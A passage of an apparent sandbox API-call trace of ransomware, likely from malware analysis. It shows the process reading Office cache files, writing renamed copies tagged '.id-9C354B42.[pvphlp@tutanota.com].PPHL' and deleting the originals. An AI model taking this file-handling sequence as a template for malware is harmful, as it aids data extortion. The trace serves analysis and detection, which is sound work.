(lpString1=".doc", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".docx") returned 5 [0061.166] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.166] lstrlenW (lpString=".pdf") returned 4 [0061.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".xls") returned 4 [0061.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".xlsx") returned 5 [0061.166] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.166] lstrlenW (lpString=".ppt") returned 4 [0061.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.166] lstrlenW (lpString=".zip") returned 4 [0061.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.166] lstrlenW (lpString=".rar") returned 4 [0061.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".bz2") returned 4 [0061.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".7z") returned 3 [0061.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.167] lstrlenW (lpString=".dbf") returned 4 [0061.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.167] lstrlenW (lpString=".1cd") returned 4 [0061.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0061.167] lstrlenW (lpString=".jpg") returned 4 [0061.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.167] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.167] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0061.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.167] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=819) returned 1 [0061.167] CloseHandle (hObject=0x1d0) returned 1 [0061.167] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0061.167] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.168] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.168] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.168] GetLastError () returned 0x0 [0061.168] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x333, lpOverlapped=0x0) returned 1 [0061.171] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x340, lpOverlapped=0x0) returned 1 [0061.172] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.172] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0061.173] SetEndOfFile (hFile=0x1d4) returned 1 [0061.173] CloseHandle (hObject=0x1d4) returned 1 [0061.173] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.173] SetEndOfFile (hFile=0x1d0) returned 1 [0061.175] CloseHandle (hObject=0x1d0) returned 1 [0061.175] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.175] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0061.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.175] lstrlenW (lpString=".doc") returned 4 [0061.175] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.175] lstrlenW (lpString=".docx") returned 5 [0061.175] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0061.176] lstrlenW (lpString=".pdf") returned 4 [0061.176] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.176] lstrlenW (lpString=".xls") returned 4 [0061.176] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.176] lstrlenW (lpString=".xlsx") returned 5 [0061.176] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0061.176] lstrlenW (lpString=".ppt") returned 4 [0061.176] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.176] lstrlenW (lpString=".zip") returned 4 [0061.176] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.176] lstrlenW (lpString=".rar") returned 4 [0061.176] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.176] lstrlenW (lpString=".bz2") returned 4 [0061.176] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.176] lstrlenW (lpString=".7z") returned 3 [0061.176] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.176] lstrlenW (lpString=".dbf") returned 4 [0061.176] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.176] lstrlenW (lpString=".1cd") returned 4 [0061.176] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.177] lstrlenW (lpString=".jpg") returned 4 [0061.177] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.177] lstrlenW (lpString=".doc") returned 4 [0061.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.177] lstrlenW (lpString=".docx") returned 5 [0061.177] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0061.177] lstrlenW (lpString=".pdf") returned 4 [0061.177] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.177] lstrlenW (lpString=".xls") returned 4 [0061.177] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.177] lstrlenW (lpString=".xlsx") returned 5 [0061.177] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0061.177] lstrlenW (lpString=".ppt") returned 4 [0061.177] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.178] lstrlenW (lpString=".zip") returned 4 [0061.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.178] lstrlenW (lpString=".rar") returned 4 [0061.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.178] lstrlenW (lpString=".bz2") returned 4 [0061.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.178] lstrlenW (lpString=".7z") returned 3 [0061.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.178] lstrlenW (lpString=".dbf") returned 4 [0061.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.178] lstrlenW (lpString=".1cd") returned 4 [0061.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0061.178] lstrlenW (lpString=".jpg") returned 4 [0061.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.179] lstrcmpiW (lpString1=".chm", lpString2=".PPHL") returned -1 [0061.179] lstrlenW (lpString="pss10r.chm") returned 10 [0061.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.180] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=27195) returned 1 [0061.180] CloseHandle (hObject=0x1d0) returned 1 [0061.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0061.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.180] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.181] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.181] GetLastError () returned 0x0 [0061.181] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0061.567] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0061.569] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.569] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.569] SetEndOfFile (hFile=0x1d4) returned 1 [0061.569] CloseHandle (hObject=0x1d4) returned 1 [0061.571] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.571] SetEndOfFile (hFile=0x1d0) returned 1 [0061.572] CloseHandle (hObject=0x1d0) returned 1 [0061.572] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.573] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0061.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.573] lstrlenW (lpString=".doc") returned 4 [0061.574] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString=".docx") returned 5 [0061.574] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0061.574] lstrlenW (lpString=".pdf") returned 4 [0061.574] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString=".xls") returned 4 [0061.574] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString=".xlsx") returned 5 [0061.574] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0061.574] lstrlenW (lpString=".ppt") returned 4 [0061.574] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.574] lstrlenW (lpString=".zip") returned 4 [0061.574] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString=".rar") returned 4 [0061.574] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString=".bz2") returned 4 [0061.574] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0061.574] lstrlenW (lpString=".7z") returned 3 [0061.574] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0061.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.574] lstrlenW (lpString=".dbf") returned 4 [0061.574] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0061.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.574] lstrlenW (lpString=".1cd") returned 4 [0061.574] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0061.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.574] lstrlenW (lpString=".jpg") returned 4 [0061.574] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.575] lstrlenW (lpString=".doc") returned 4 [0061.575] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString=".docx") returned 5 [0061.575] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0061.575] lstrlenW (lpString=".pdf") returned 4 [0061.575] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString=".xls") returned 4 [0061.575] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString=".xlsx") returned 5 [0061.575] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0061.575] lstrlenW (lpString=".ppt") returned 4 [0061.575] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.575] lstrlenW (lpString=".zip") returned 4 [0061.575] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString=".rar") returned 4 [0061.575] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString=".bz2") returned 4 [0061.575] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0061.575] lstrlenW (lpString=".7z") returned 3 [0061.575] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0061.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.575] lstrlenW (lpString=".dbf") returned 4 [0061.575] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0061.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.575] lstrlenW (lpString=".1cd") returned 4 [0061.575] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0061.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0061.576] lstrlenW (lpString=".jpg") returned 4 [0061.576] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0061.576] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.576] lstrlenW (lpString="Setup.xml") returned 9 [0061.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.576] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=2624) returned 1 [0061.576] CloseHandle (hObject=0x1d0) returned 1 [0061.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.576] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.577] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.577] GetLastError () returned 0x0 [0061.577] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0xa40, lpOverlapped=0x0) returned 1 [0061.727] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xa50, lpOverlapped=0x0) returned 1 [0061.728] ReadFile (in: hFile=0x1d0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.728] WriteFile (in: hFile=0x1d4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.728] SetEndOfFile (hFile=0x1d4) returned 1 [0061.728] CloseHandle (hObject=0x1d4) returned 1 [0061.729] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.729] SetEndOfFile (hFile=0x1d0) returned 1 [0061.730] CloseHandle (hObject=0x1d0) returned 1 [0061.730] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.730] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.730] lstrlenW (lpString=".doc") returned 4 [0061.730] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.730] lstrlenW (lpString=".docx") returned 5 [0061.730] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.730] lstrlenW (lpString=".pdf") returned 4 [0061.730] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.730] lstrlenW (lpString=".xls") returned 4 [0061.730] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.730] lstrlenW (lpString=".xlsx") returned 5 [0061.731] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.731] lstrlenW (lpString=".ppt") returned 4 [0061.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.731] lstrlenW (lpString=".zip") returned 4 [0061.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.731] lstrlenW (lpString=".rar") returned 4 [0061.731] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString=".bz2") returned 4 [0061.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString=".7z") returned 3 [0061.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.731] lstrlenW (lpString=".dbf") returned 4 [0061.731] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.731] lstrlenW (lpString=".1cd") returned 4 [0061.731] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.731] 